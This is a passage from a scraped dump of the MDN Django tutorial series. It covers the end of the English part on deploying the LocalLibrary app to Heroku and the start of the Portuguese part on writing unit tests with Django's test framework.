-\n```\n\n\nThe \"`web:`\" tells Heroku that this is a web dyno and can be sent HTTP traffic. The process to start in this dyno is *gunicorn*, which is a popular web application server that Heroku recommends. We start Gunicorn using the configuration information in the module `locallibrary.wsgi` (created with our application skeleton: **/locallibrary/wsgi.py**).\n\n#### Gunicorn\n\nGunicorn is the recommended HTTP server for use with Django on Heroku (as referenced in the Procfile above). It is a pure-Python HTTP server for WSGI applications that can run multiple Python concurrent processes within a single dyno (see Deploying Python applications with Gunicorn for more information).\n\nWhile we won't need *Gunicorn* to serve our LocalLibrary application during development, we'll install it so that it becomes part of our requirements for Heroku to set up on the remote server.\n\nInstall *Gunicorn* locally on the command line using *pip* (which we installed when setting up the development environment):\n\n**Nota:** Note: Make sure that you're in your Python virtual environment (use the `workon [name-of-virtual-environment]` command) before you install *Gunicorn* and further modules with *pip*, or you might experience problems with importing these modules in your **/locallibrary/settings.py** file in the later sections.\n\n\n```bash\npip3 install gunicorn\n```\n\n\n#### Database configuration\n\nWe can't use the default SQLite database on Heroku because it is file-based, and it would be deleted from the *ephemeral* file system every time the application restarts (typically once a day, and every time the application or its configuration variables are changed).\n\nThe Heroku mechanism for handling this situation is to use a database add-on and configure the web application using information from an environment configuration variable, set by the add-on. There are quite a lot of database options, but we'll use the hobby tier of the *Heroku postgres* database as this is free, supported by Django, and automatically added to our new Heroku apps when using the free hobby dyno plan tier.\n\nThe database connection information is supplied to the web dyno using a configuration variable named `DATABASE_URL`. Rather than hard-coding this information into Django, Heroku recommends that developers use the dj-database-url package to parse the `DATABASE_URL` environment variable and automatically convert it to Django's desired configuration format. In addition to installing the *dj-database-url* package we'll also need to install psycopg2, as Django needs this to interact with Postgres databases.\n\n##### dj-database-url (Django database configuration from environment variable)\n\nInstall *dj-database-url* locally so that it becomes part of our requirements for Heroku to set up on the remote server:\n```\n\npip3 install dj-database-url\n```\n\n\n##### settings.py\n\nOpen **/locallibrary/settings.py** and copy the following configuration into the bottom of the file:\n```\n\n# Heroku: Update database configuration from $DATABASE_URL.\nimport dj_database_url\ndb_from_env = dj_database_url.config(conn_max_age=500)\nDATABASES['default'].update(db_from_env)\n```\n\n\n**Nota:**\n\n* We'll still be using SQLite during development because the `DATABASE_URL` environment variable will not be set on our development computer.\n* The value `conn_max_age=500` makes the connection persistent, which is far more efficient than recreating the connection on every request cycle. However, this is optional and can be removed if needed.\n\n##### psycopg2 (Python Postgres database support)\n\nDjango needs *psycopg2* to work with Postgres databases and you will need to add this to the requirements.txt for Heroku to set this up on the remote server (as discussed in the requirements section below).\n\nDjango will use our SQLite database locally by default, because the `DATABASE_URL` environment variable isn't set in our local environment. If you want to switch to Postgres completely and use our Heroku free tier database for both development and production then you can. For example, to install psycopg2 and its dependencies locally on a Debian-flavoured Linux system you would use the following Bash/terminal commands:\n\n\n```bash\nsudo apt-get install python-pip python-dev libpq-dev postgresql postgresql-contrib\npip3 install psycopg2-binary\n```\n\n\nInstallation instructions for the other platforms can be found on the psycopg2 website here.\n\nHowever, you don't need to do this — you don't need PostgreSQL active on the local computer, as long as you give it to Heroku as a requirement, in `requirements.txt` (see below).\n\n#### Serving static files in production\n\nDuring development we used Django and the Django development web server to serve our static files (CSS, JavaScript, etc.). In a production environment we instead typically serve static files from a content delivery network (CDN) or the web server.\n\n**Nota:** Serving static files via Django/web application is inefficient because the requests have to pass through unnecessary additional code (Django) rather than being handled directly by the web server or a completely separate CDN. While this doesn't matter for local use during development, it would have a significant performance impact if we were to use the same approach in production.\n\nTo make it easy to host static files separately from the Django web application, Django provides the *collectstatic* tool to collect these files for deployment (there is a settings variable that defines where the files should be collected when *collectstatic* is run). Django templates refer to the hosting location of the static files relative to a settings variable (`STATIC_URL`), so that this can be changed if the static files are moved to another host/server.\n\nThe relevant setting variables are:\n\n* `STATIC_URL`: This is the base URL location from which static files will be served, for example on a CDN. This is used for the static template variable that is accessed in our base template (see Django Tutorial Part 5: Creating our home page).\n* `STATIC_ROOT`: This is the absolute path to a directory where Django's \"collectstatic\" tool will gather any static files referenced in our templates. Once collected, these can then be uploaded as a group to wherever the files are to be hosted.\n* `STATICFILES_DIRS`: This lists additional directories that Django's collectstatic tool should search for static files.\n\n##### settings.py\n\nOpen **/locallibrary/settings.py** and copy the following configuration into the bottom of the file. The `BASE_DIR` should already have been defined in your file (the `STATIC_URL` may already have been defined within the file when it was created. While it will cause no harm, you might as well delete the duplicate previous reference).\n```\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/2.1/howto/static-files/\n\n# The absolute path to the directory where collectstatic will collect static files for deployment.\nSTATIC_ROOT = os.path.join(BASE_DIR, 'staticfiles')\n\n# The URL to use when referring to static files (where they will be served from)\nSTATIC_URL = '/static/'\n```\n\n\nWe'll actually do the file serving using a library called WhiteNoise, which we install and configure in the next section.\n\nFor more information, see Django and Static Assets (Heroku docs).\n\n#### Whitenoise\n\nThere are many ways to serve static files in production (we saw the relevant Django settings in the previous sections). Heroku recommends using the WhiteNoise project for serving of static assets directly from Gunicorn in production.\n\n> \n> \\*\\*Nota:\\*\\*Heroku automatically calls *collectstatic* and prepares your static files for use by WhiteNoise after it uploads your application. Check out WhiteNoise documentation for an explanation of how it works and why the implementation is a relatively efficient method for serving these files.\n> \n> \n> \n\nThe steps to set up *WhiteNoise* to use with the project are given here (and reproduced below):\n\n##### WhiteNoise\n\nInstall whitenoise locally using the following command:\n```\n\npip3 install whitenoise\n```\n\n\n##### settings.py\n\nTo install *WhiteNoise* into your Django application, open **/locallibrary/settings.py**, find the `MIDDLEWARE` setting and add the `WhiteNoiseMiddleware` near the top of the list, just below the `SecurityMiddleware`:\n```\n\nMIDDLEWARE = [\n    'django.middleware.security.SecurityMiddleware',\n    'whitenoise.middleware.WhiteNoiseMiddleware',\n    'django.contrib.sessions.middleware.SessionMiddleware',\n    'django.middleware.common.CommonMiddleware',\n    'django.middleware.csrf.CsrfViewMiddleware',\n    'django.contrib.auth.middleware.AuthenticationMiddleware',\n    'django.contrib.messages.middleware.MessageMiddleware',\n    'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n```\n\n\nOptionally, you can reduce the size of the static files when they are served (this is more efficient). Just add the following to the bottom of **/locallibrary/settings.py**:\n```\n\n# Simplified static file serving.\n# https://warehouse.python.org/project/whitenoise/\nSTATICFILES_STORAGE = 'whitenoise.storage.CompressedManifestStaticFilesStorage'\n```\n\n\n#### Requirements\n\nThe Python requirements of your web application must be stored in a file **requirements.txt** in the root of your repository. Heroku will then install these automatically when it rebuilds your environment. You can create this file using *pip* on the command line (run the following in the repo root):\n\n\n```bash\npip3 freeze > requirements.txt\n```\n\n\nAfter installing all the different dependencies above, your **requirements.txt** file should have *at least* these items listed (though the version numbers may be different). Please delete any other dependencies not listed below, unless you've explicitly added them for this application.\n```\n\ndj-database-url==0.5.0\nDjango==2.1.5\ngunicorn==19.9.0\npsycopg2-binary==2.7.7\nwhitenoise==4.1.2\n```\n\n\n**Nota:** Make sure that a **psycopg2** line like the one above is present! Even if you didn't install this locally then you should still add it to **requirements.txt**.\n\n#### Runtime\n\nThe **runtime.txt** file, if defined, tells Heroku which programming language to use. Create the file in the root of the repo and add the following text:\n```\n\npython-3.7.0\n```\n\n\n**Nota:** Heroku only supports a small number of Python runtimes (at time of writing, this includes the one above). Heroku will use a supported runtime irrespective of the value specified in this file.\n\n#### Re-test and save changes to Github\n\nBefore we proceed, lets test the site again locally and make sure it wasn't broken by any of our changes above. Run the development web server as usual and then check the site still works as you expect on your browser.\n\n\n```bash\npython3 manage.py runserver\n```\n\n\nNext, lets `push` our changes to Github. In the terminal (after having navigated to our local repository), enter the following commands:\n\n\n```python\ngit add -A\ngit commit -m \"Added files and changes required for deployment to heroku\"\ngit push origin master\n```\n\n\nWe should now be ready to start deploying LocalLibrary on Heroku.\n\n### Get a Heroku account\n\nTo start using Heroku you will first need to create an account:\n\n* Go to www.heroku.com and click the **SIGN UP FOR FREE** button.\n* Enter your details and then press **CREATE FREE ACCOUNT**. You'll be asked to check your account for a sign-up email.\n* Click the account activation link in the signup email. You'll be taken back to your account on the web browser.\n* Enter your password and click **SET PASSWORD AND LOGIN**.\n* You'll then be logged in and taken to the Heroku dashboard: https://dashboard.heroku.com/apps.\n### Install the client\n\nDownload and install the Heroku client by following the instructions on Heroku here.\n\nAfter the client is installed you will be able run commands. For example to get help on the client:\n\n\n```bash\nheroku help\n```\n\n### Create and upload the website\n\nTo create the app we run the \"create\" command in the root directory of our repository. This creates a git remote (\"pointer to a remote repository\") named *heroku* in our local git environment.\n\n\n```bash\nheroku create\n```\n\n\n**Nota:** You can name the remote if you like by specifying a value after \"create\". If you don't then you'll get a random name. The name is used in the default URL.\n\nWe can then push our app to the Heroku repository as shown below. This will upload the app, package it in a dyno, run collectstatic, and start the site.\n\n\n```bash\ngit push heroku master\n```\n\n\nIf we're lucky, the app is now \"running\" on the site, but it won't be working properly because we haven't set up the database tables for use by our application. To do this we need to use the `heroku run` command and start a \"one off dyno\" to perform a migrate operation. Enter the following command in your terminal:\n\n\n```bash\nheroku run python manage.py migrate\n```\n\n\nWe're also going to need to be able to add books and authors, so lets also create our administration superuser, again using a one-off dyno:\n\n\n```bash\nheroku run python manage.py createsuperuser\n```\n\n\nOnce this is complete, we can look at the site. It should work, although it won't have any books in it yet. To open your browser to the new website, use the command:\n\n\n```bash\nheroku open\n```\n\n\nCreate some books in the admin site, and check out whether the site is behaving as you expect.\n\n### Managing addons\n\nYou can check out the add-ons to your app using the `heroku addons` command. This will list all addons, and their price tier and state.\n\n\n```bash\n> heroku addons\n\nAdd-on                                     Plan       Price  State\n─────────────────────────────────────────  ─────────  ─────  ───────\nheroku-postgresql (postgresql-flat-26536)  hobby-dev  free   created\n └─ as DATABASE\n```\n\n\nHere we see that we have just one add-on, the postgres SQL database. This is free, and was created automatically when we created the app. You can open a web page to examine the database add-on (or any other add-on) in more detail using the following command:\n\n\n```bash\nheroku addons:open heroku-postgresql\n```\n\n\nOther commands allow you to create, destroy, upgrade and downgrade addons (using a similar syntax to opening). For more information see Managing Add-ons (Heroku docs).\n\n### Setting configuration variables\n\nYou can check out the configuration variables for the site using the `heroku config` command. Below you can see that we have just one variable, the `DATABASE_URL` used to configure our database.\n\n\n```bash\n> heroku config\n\n=== locallibrary Config Vars\nDATABASE_URL: postgres://uzfnbcyxidzgrl:j2jkUFDF6OGGqxkgg7Hk3ilbZI@ec2-54-243-201-144.compute-1.amazonaws.com:5432/dbftm4qgh3kda3\n```\n\n\nIf you recall from the section on getting the website ready to publish, we have to set environment variables for `DJANGO_SECRET_KEY` and `DJANGO_DEBUG`. Let's do this now.\n\n**Nota:** The secret key needs to be really secret! One way to generate a new key is to use the Django Secret Key Generator.\n\nWe set `DJANGO_SECRET_KEY` using the `config:set` command (as shown below). Remember to use your own secret key!\n\n\n```bash\n> heroku config:set DJANGO\\_SECRET\\_KEY='eu09(ilk6@4sfdofb=b\\_2ht@vad\\*$ehh9-)3u\\_83+y%(+phh&='\n\nSetting DJANGO_SECRET_KEY and restarting locallibrary... done, v7\nDJANGO_SECRET_KEY: eu09(ilk6@4sfdofb=b_2ht@vad*$ehh9-)3u_83+y%(+phh\n```\n\n\nWe similarly set `DJANGO_DEBUG`:\n\n\n```bash\n> heroku config:set DJANGO\\_DEBUG=\n\nSetting DJANGO_DEBUG and restarting locallibrary... done, v8\n```\n\n\nIf you visit the site now you'll get a \"Bad request\" error, because the ALLOWED\\_HOSTS setting is *required* if you have `DEBUG=False` (as a security measure). Open **/locallibrary/settings.py** and change the `ALLOWED_HOSTS` setting to include your base app url (e.g. 'locallibrary1234.herokuapp.com') and the URL you normally use on your local development server.\n\n\n```python\nALLOWED_HOSTS = ['<your app URL without the https:// prefix>.herokuapp.com','127.0.0.1']\n# For example:\n# ALLOWED\\_HOSTS = ['fathomless-scrubland-30645.herokuapp.com', '127.0.0.1']\n```\n\n\nThen save your settings and commit them to your Github repo and to Heroku:\n\n\n```bash\ngit add -A\ngit commit -m 'Update ALLOWED\\_HOSTS with site and development server URL'\ngit push origin master\ngit push heroku master\n```\n\n\n**Nota:** After the site update to Heroku completes, enter a URL that does not exist (e.g. **/catalog/doesnotexist/**). Previously this would have displayed a detailed debug page, but now you should just see a simple \"Not Found\" page.\n\n### Debugging\n\nThe Heroku client provides a few tools for debugging:\n\n\n```bash\n# Show current logs\nheroku logs\n\n# Show current logs and keep updating with any new results\nheroku logs --tail\n\n# Add additional logging for collectstatic (this tool is run automatically during a build)\nheroku config:set DEBUG\\_COLLECTSTATIC=1\n\n# Display dyno status\nheroku ps\n```\n\n\nIf you need more information than these can provide you will need to start looking into Django Logging.\n\nSummary\n-------\n\nThat's the end of this tutorial on setting up Django apps in production, and also the series of tutorials on working with Django. We hope you've found them useful. You can check out a fully worked-through version of the source code on Github here.\n\nThe next step is to read our last few articles, and then complete the assessment task.\n\nSee also\n--------\n\n* Deploying Django (Django docs)\n    + Deployment checklist (Django docs)\n    + Deploying static files (Django docs)\n    + How to deploy with WSGI (Django docs)\n    + How to use Django with Apache and mod\\_wsgi (Django docs)\n    + How to use Django with Gunicorn (Django docs)\n* Heroku\n    + Configuring Django apps for Heroku (Heroku docs)\n    + Getting Started on Heroku with Django (Heroku docs)\n    + Django and Static Assets (Heroku docs)\n    + Concurrency and Database Connections in Django (Heroku docs)\n    + How Heroku works (Heroku docs)\n    + Dynos and the Dyno Manager (Heroku docs)\n    + Configuration and Config Vars (Heroku docs)\n    + Limits (Heroku docs)\n    + Deploying Python applications with Gunicorn (Heroku docs)\n    + Deploying Python and Django apps on Heroku (Heroku docs)\n    + Other Heroku Django docs\n* Digital Ocean\n    + How To Serve Django Applications with uWSGI and Nginx on Ubuntu 16.04\n    + Other Digital Ocean Django community docs\n* Anterior\n* Menu: Django\n* Próxima"}
{"title":"Tutorial Django Parte 10: Testando uma aplicação web Django - Aprendendo desenvolvimento web","text":"Tutorial Django Parte 10: Testando uma aplicação web Django\n===========================================================\n\n* Anterior\n* Menu: Django\n* Próxima\n\nÀ medida que websites crescem, eles se tornam mais difíceis de testar manualmente. Não apenas mais para testar, mas, as interações entre componentes tornam-se mais complexas, uma pequena mudança em uma área pode impactar outras áreas, portanto mais mudanças serão necessárias para garantir que tudo permaneça funcionando e erros não sejam introduzidos à medida que mais alterações forem feitas. Uma maneira de mitigar esses problemas é escrever testes automatizados, que podem ser executados facilmente e confiavelmente toda vez que você faz uma alteração. Este tutorial mostra como automatizar testes unitários do seu website utilizando o *framework* de testes do Django.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Complete todos os tópicos de tutoriais anteriores, incluindo\n Tutorial Django Parte 9: Trabalhando com formulários.\n  |\n| Objetivo: | \n Entender como escrever testes unitários para websites baseados em\n Django.\n  |\n\nVisão Geral\n-----------\n\nA Local Library atualmente tem páginas para mostrar listas de todos livros e autores, visualização detalhada para itens `Book` e `Author`, uma página para renovar `BookInstance`s, e páginas para criar, atualizar e excluir itens `Author` (e também registros de `Book`, se você completou o desafio no forms tutorial). Mesmo com este site relativamente pequeno, navegar manualmente por cada página e verificar superficialmente se tudo funciona como esperado pode levar vários minutos. À medida que fizemos mudanças e aumentamos o site, o tempo necessário para verificar manualmente se tudo funciona \"devidamente\" só aumentará. Se continuássemos como estamos, eventuamente estaríamos gastando a maior parte do tempo testando, e muito pouco tempo aprimorando nosso código.\n\nTestes automatizados podem realmente ajudar com este problema! Os benefícios óbvios são que eles podem ser executados muito mais rápido que testes manuais, podem testar com um nível mais baixo de detalhes, e testa exatamente a mesma funcionalidade (testadores humanos não são nem de longe tão confiáveis!). Por serem rápidos, testes automatizados podem ser executados mais regularmente, e se um teste falhar, eles apontam exatamente para onde o código não está funcionando como esperado .\n\nAlém disso, testes automatizados podem atuar como o primeiro \"usuário\" do mundo real do seu código, forçando você a ser rigoroso ao definir e documentar como seu website deve se comportar. Geralmente, eles são a base para seus exemplos de código e documentação. Por essas razões, alguns processos de desenvolvimento de código iniciam com definição e implementação de teste, o qual após o código é escrito para corresponder ao comportamento necessário (ex. desenvolvimento guiado por testes e desenvolvimento guiado por comportamento).\n\nEste tutorial mostra como escrever testes automatizados para Django, adicionando um número de testes para o website *LocalLibrary*.\n\n### Tipos de teste\n\nHá inúmeros tipos, níveis, e classificações de testes e abordagens de testes. Os testes automatizados mais importantes são:\n\nTestes unitários\n\nVerifica o comportamento funcional de componentes individuais, geralmente ao nível de classe e função.\n\nTestes de regressão\n\nTestes que reproduzem erros históricos. Cada teste é executado inicialmente para verificar se o erro foi corrigido, e então executado novamente para garantir que não foi reintroduzido após alterações posteriores no código.\n\nTestes de integração\n\nVerifica como agrupamentos de componentes funcionam quando utilizados juntos. Testes de integração estão cientes das interações necessárias entre componentes, mas não necessariamente das operações internas de cada componente. Eles podem abranger agrupamentos simples de componentes através de todo website.\n\n\n> \n> \\*\\*Nota:\\*\\*Outros tipos de testes comuns incluem caixa preta (black box), caixa branca (white box), manual, automatizado, canário (canary), fumaça (smoke), conformidade (conformance), aceitação (acceptance), funcional (functional), sistema (system), *performance*, carga (load) e testes de *stress*. Procure-os para mais informaçãos.\n> \n> \n> \n\n### O que o Django fornece para testes?\n\nTestar um website é uma tarefa complexa, porque isto é composto de várias camadas de lógica – do tratamento de requisições no nível HTTP, consultas de modelos, validação e processamento de formulários, e renderização de *template*.\n\nDjango fornece um *framework* de teste com uma baixa hierarquia de classes construida na biblioteca padrão `unittest` de Python. Apesar do nome, este *framework* de teste é adequado para testes unitários e de integração. O *framework* Django adiciona métodos e ferramentas de API para ajudar a testar o comportamento web e específico do Django. Isso permite você simular requisições, inserir dados de teste e inspecionar as saídas do seu aplicativo. Django também fornece uma API (LiveServerTestCase) e ferramentas para usar diferentes frameworks de teste, por exemplo, você pode integrar com o popular framework Selenium (en-US) para simular um usuário interagindo com um navegador.\n\nPara escrever um teste, você deriva de qualquer uma das classes base de teste de Django (ou *unittest*) (SimpleTestCase, TransactionTestCase, TestCase, LiveServerTestCase) e então escreve métodos separados para verificar se a funcionalidade específica funciona como esperado (testes usam métodos \"*assert*\" para testar se a expressão resulta em valores `True` ou `False`, ou se os dois valores são iguais, etc.). Quando você inicia a execução de um teste, o framework executa os métodos de teste escolhidos em suas classes derivadas. Os métodos de teste são executados independentemente, com configuração comum e/ou comportamento *tear-down* definido na classe, como mostrado abaixo.\n\n\n```python\nclass YourTestClass(TestCase):\n    def setUp(self):\n        # Setup run before every test method.\n        pass\n\n    def tearDown(self):\n        # Clean up run after every test method.\n        pass\n\n    def test\\_something\\_that\\_will\\_pass(self):\n        self.assertFalse(False)\n\n    def test\\_something\\_that\\_will\\_fail(self):\n        self.assertTrue(False)\n```\n\n\nA melhor classe base para maioria dos testes é django.test.TestCase. Esta classe de teste cria um banco de dados limpo antes dos testes serem executados, e executa todas as funções de teste em sua própria transação. A classe também possui um Client de teste, que você pode utilizar para simular um usuário interagindo com o código no nível de *view*. Nas seções a seguir vamos nos concentrar nos testes unitários, criados utilizando a classe base TestCase.\n\n**Nota:** A classe django.test.TestCase é muito conveniente, mas pode resultar em alguns testes mais lentos do que necessitam ser (nem todo teste necessita configurar seu próprio banco de dados ou simular interação de *view*). Uma vez que esteja familiar com o que você pode fazer com essa classe, você pode querer substituir alguns dos seus testes por classes de teste mais simples disponíveis.\n\n### O que você deve testar?\n\nVocê deve testar todos aspectos do seu próprio código, mas nenhuma biblioteca ou funcionalidade oferecida como parte do Python ou Django.\n\nAssim por exemplo, conseidere o *model* `Author` definido abaixo. Você não precisa testar explicitamente se `first_name` e `last_name` foram armazenados corretamente como `CharField` no banco de dados, porque isso é algo definido pelo Django (embora, é claro, na prática você inevitávelmente testará esta funcionalidade durante o desenvolvimento). Você também não precisa testar se o `date_of_birth` foi validado para ser um campo de data, porque isso novamente é algo implementeado no Django.\n\nNo entanto, você deve verificar o texto utilizado para os *labels* (*First name, Last name, Date of birth, Died*), e o tamanho do campo alocado para o texto (*100 caracteres*), porque isso faz parte do seu *design* e algo que pode ser violado/alterado no futuro.\n\n\n```python\nclass Author(models.Model):\n    first_name = models.CharField(max_length=100)\n    last_name = models.CharField(max_length=100)\n    date_of_birth = models.DateField(null=True, blank=True)\n    date_of_death = models.DateField('Died', null=True, blank=True)\n\n    def get\\_absolute\\_url(self):\n        return reverse('author-detail', args=[str(self.id)])\n\n    def \\_\\_str\\_\\_(self):\n        return '%s, %s' % (self.last_name, self.first_name)\n```\n\n\nSimilarmente, você deve verificar se os métodos personalizados `get_absolute_url()` e `__str__()` se comportam como desejado, porque eles são sua lógica de código/negócios. No caso de `get_absolute_url()` você pode confiar que o método `reverse()` de Django, foi implementado corretamente, portanto, o que você esta testando é se a *view* associada foi realmente definida.\n\n**Nota:** Leitores astutos podem notar que também gostariamos de restringir que a data de nascimento e morte como valores sensíveis, e verificar se a morte vem após o nascimento. Em Django, esta restrição seria adicionada a suas classes *form* (Embora você possa definir validadores para campos do modelo e validadores de modelo, estes só serão usados no nível do formulário se forem chamdos pelo método clean() do model. Isso requer um ModelForm ou o método clean() do modelo precisa ser especificamente chamado).\n\nCom isso em mente, vamos começar a ver como definir e executar testes.\n\nVisão geral da estrutura de teste\n---------------------------------\n\nAntes de entrarmos nos detalhes de \"o que testar\", vamos primeiro examinar brevemente *onde* e *como* os testes são definidos.\n\nDjango usa o módulo *unittest* com descoberta de teste acoplada, que descrobrirá testes no diretório de trabalho atual em qualquer arquivo nomeado com o padrão **test\\*.py**. Fornecido o nome do arquivo adequadamente, você pode usar qualquer estrutura que desejar. Recomendamos que você crie um módulo para seu código de teste, e tenha arquivos separados para *models*, *views*, *forms* e qualquer outro tipo de código que você precise testar. Por exemplo:\n```\n\ncatalog/\n  /tests/\n    __init__.py\n    test_models.py\n    test_forms.py\n    test_views.py\n```\n\n\nCrie uma estrutura de arquivos como mostrado acima em seu projeto *LocalLibrary*. O **\\_\\_init\\_\\_.py** deve ser um arquivo vazio (isso informa ao Python que o diretório é um pacote). Você pode criar os três arquivos de teste copiando e renomeando o arquivo de teste do \"esqueleto\" **/catalog/tests.py**.\n\n**Nota:** O arquivo de teste **/catalog/tests.py** do \"esqueleto\", foi criado automaticamente quando nós construimos o \"esqueleto\" do website Django. É perfeitamente \"legal\" colocar todos seus testes dentro dele, mas se você testar devidamente, você acabará rapidamente com um arquivo de teste muito grande e incontrolável.\n\nExclua o arquivo do \"esqueleto\", pois não precisamos dele.\n\nAbra **/catalog/tests/test\\_models.py**. O arquivo deve importar `django.test.TestCase`, como mostrado:\n\n\n```python\nfrom django.test import TestCase\n\n# Create your tests here.\n```\n\n\nFrequentemente, você adicionará uma classe de teste para cada *model/view/form* que deseja testar, com métodos individuais para testar funcionalidades específicas. Em outros casos, você pode desejar ter uma classe separada para testar um caso de uso específico, com funções de teste individuais que testam aspectos desse caso de uso (por exemplo, uma classe para testar se um campo do *model* é validado corretamente, com funções para testar cada um dos possíveis casos de falha). Novamente, a estrutura depende muito de você, mas é melhor se você for consistente.\n\nAdicione a classe de teste abaixo na parte inferior do arquivo. A classe demonstra como construir uma classe de teste derivando de `TestCase`.\n\n\n```python\nclass YourTestClass(TestCase):\n    @classmethod\n    def setUpTestData(cls):\n        print(\"setUpTestData: Run once to set up non-modified data for all class methods.\")\n        pass\n\n    def setUp(self):\n        print(\"setUp: Run once for every test method to setup clean data.\")\n        pass\n\n    def test\\_false\\_is\\_false(self):\n        print(\"Method: test\\_false\\_is\\_false.\")\n        self.assertFalse(False)\n\n    def test\\_false\\_is\\_true(self):\n        print(\"Method: test\\_false\\_is\\_true.\")\n        self.assertTrue(False)\n\n    def test\\_one\\_plus\\_one\\_equals\\_two(self):\n        print(\"Method: test\\_one\\_plus\\_one\\_equals\\_two.\")\n        self.assertEqual(1 + 1, 2)\n```\n\n\nA nova classe define dois métodos que você pode utilizar para aconfiguração de pré-teste (por exemplo, para criar quaisquer modelos ou outros objetos que precisará para to teste):\n\n* `setUpTestData()` é chamado uma vez no início da execução do teste para configuração em nível de classe. Você usaria isso para criar objetos que não serão modificados ou alterados em nenhum dos métodos de teste.\n* `setUp()` é chamado antes de toda função de teste para configurar qualquer objeto que possa ser modificado pelo teste (toda função de teste receberá uma versão \"nova\" desses objetos).\n\n**Nota:** As classes de teste também têm um método `tearDown()`, que não usamos. Este método não é particularmente útil para testes de banco de dados, pois a classe base `TestCase` cuida da desmontagem do banco de dados para você.\n\nAbaixo desses, temos vários métodos de teste, que usam funções `Assert` para testar se as condições são verdadeiras, falsas ou iguais (`AssertTrue`, `AssertFalse`, `AssertEqual`). Se a condição não for avaliada como esperado, então o teste falhará e reportará o erro ao seu console.\n\n`AssertTrue`, `AssertFalse`, `AssertEqual` são assertivas padrão fornecidas pelo **unittest**. Existem outras assertivas padão no *framework* e também Django especifica assertivas para testar se uma *view* redireciona (`assertRedirects`), para testar se um template específico foi utilizado (`assertTemplateUsed`), etc.\n\n**Nota:** Você normalmente não deve incluir funções **print()** em seus testes como mostrado acima. Nós fizemos isso aqui apenas para que você posssa ver no console a ordem que as funções de configuração são chamadas (na seção a seguir).\n\nComo executar os testes\n-----------------------\n\nA maneira mais fácil para executar todos os testes é usar o comando:\n\n\n```bash\npython3 manage.py test\n```\n\n\nIsso descobrirá todos arquivos nomeados com o padrão **test\\*.py** no diretório atual e executará todos testes definidos usando as classes base apropriadas (aqui temos vários arquivos de teste, mas, atualmente, apenas **/catalog/tests/test\\_models.py** contém testes). Por padrão, os testes irão reportar individualmente apenas falhas no teste, seguidos por um resumo do teste.\n\n**Nota:** Se você obter erros semelhantes a: `ValueError: Missing staticfiles manifest entry ...` isso pode ocorrer porque o teste não é executado como *collectstatic* por padrão e seu *app* está usando uma classe de armazenamento que exige isto (veja manifest\\_strict para mais informações). Existem várias maneiras de solucionar esse problema - o mais fácil é simplesmente executar *collectstatic* antes de executar os testes:\n\n\n```bash\npython3 manage.py collectstatic\n```\n\n\nExecute os testes no diretório raiz de *LocalLibrary*. Você deve ver uma saída como a abaixo.\n\n\n```bash\n> python3 manage.py test\n\nCreating test database for alias 'default'...\nsetUpTestData: Run once to set up non-modified data for all class methods.\nsetUp: Run once for every test method to setup clean data.\nMethod: test_false_is_false.\nsetUp: Run once for every test method to setup clean data.\nMethod: test_false_is_true.\nsetUp: Run once for every test method to setup clean data.\nMethod: test_one_plus_one_equals_two.\n.\n======================================================================\nFAIL: test_false_is_true (catalog.tests.tests_models.YourTestClass)\n----------------------------------------------------------------------\nTraceback (most recent call last):\n  File \"D:\\Github\\django\\_tmp\\library\\_w\\_t\\_2\\locallibrary\\catalog\\tests\\tests\\_models.py\", line 22, in test_false_is_true\n    self.assertTrue(False)\nAssertionError: False is not true\n\n----------------------------------------------------------------------\nRan 3 tests in 0.075s\n\nFAILED (failures=1)\nDestroying test database for alias 'default'...\n```\n\n\nAqui vemos que tivemos uma falha no teste e podemos ver exatamente qual função falhou e por quê (essa falha é esperada, porque `False` não é `True`!).\n\n**Nota:** **Dica:** A coisa mais importante para aprender com a saída do teste acima é que é muito mais valioso se você utilizar nomes descritivos/informativos para seus objetos e métodos.\n\nO texto acima mostrado em **negrito** normalmente não apareceria na saída do teste (isso é gerado pelas funções `print()` em nossos teste). Isso mostra como o método `setUpTestData()` é chamdo uma vez para classe e `setUp()` é chamado antes de cada método.\n\nAs próximas seções mostram como você pode executar testes específicos e como controlar quanta infromação os testes exibem.\n\n### Mostrando mais informações de teste\n\nSe você deseja obter mais informação sobre a execução do teste, você pode mudar a verbosidade (*verbosity)*. Por exemplo, para listar os sucessos do teste, bem como as falhas (e um monte de informações sobre como o banco de dados de teste está configurado) vocêpode definir a *verbosity* para \"2\" como mostrado:\n\n\n```bash\npython3 manage.py test --verbosity 2\n```\n\n\nOs níveis permitidos de *verbosity* são 0, 1, 2, e 3, com o padrão sendo \"1\".\n\n### Executando testes específicos\n\nSe você desseja executar um subconjunto de seus testes, você pode fazer isso especificando o caminho completo para o(s) pacote(s), módulos, subclasse `TestCase` ou método:\n\n\n```bash\n# Run the specified module\npython3 manage.py test catalog.tests\n\n# Run the specified module\npython3 manage.py test catalog.tests.test_models\n\n# Run the specified class\npython3 manage.py test catalog.tests.test_models.YourTestClass\n\n# Run the specified method\npython3 manage.py test catalog.tests.test_models.YourTestClass.test_one_plus_one_equals_two\n```\n\nTestes da LocalLibrary\n----------------------\n\nAgora que sabemos como executar nosso testes e que tipo de coisas precisams testar, vamos ver alguns exemplos práticos.\n\n> \n> \\*\\*Nota:\\*\\*Não escreveremos todos os testes possíveis, mas isso deve lhe dar uma ideia de como testes trabalham e o que mais você pode fazer.\n> \n> \n> \n\n### Models\n\nComo discutido acima, devemos testar qualquer coisa que faça parte do nosso projeto ou que seja definido por código que escrevemos, mas não bibliotecas/códigos que já foram testados pelo Django ou pela equipe de desenvolvimento do Python.\n\nPor exemplo, considere o *model* `Author` abaixo. Aqui devemos testar os *labels* para todos os campos, porque, embora não tenhamos específicado explicitamente a maioria deles, temos um projeto que diz quais devem ser esses valores. Se não testamos os valores, não sabemos se os *labels* dos campos têm os valores pretendidos. Similarmente, enquanto confiamos que o Django criará um campo com o tamanho específicado, vale a pena específicar um teste para este tamanho, para garantir que ele foi implementado como planejado.\n\n\n```python\nclass Author(models.Model):\n    first_name = models.CharField(max_length=100)\n    last_name = models.CharField(max_length=100)\n    date_of_birth = models.DateField(null=True, blank=True)\n    date_of_death = models.DateField('Died', null=True, blank=True)\n\n    def get\\_absolute\\_url(self):\n        return reverse('author-detail', args=[str(self.id)])\n\n    def \\_\\_str\\_\\_(self):\n        return f'{self.last\\_name}, {self.first\\_name}'\n```\n\n\nAbra nosso **/catalog/tests/test\\_models.py**, e substitua qualquer código existente pelo seguinte código de teste para o *model* `Author`.\n\nAqui você verá que primeiro 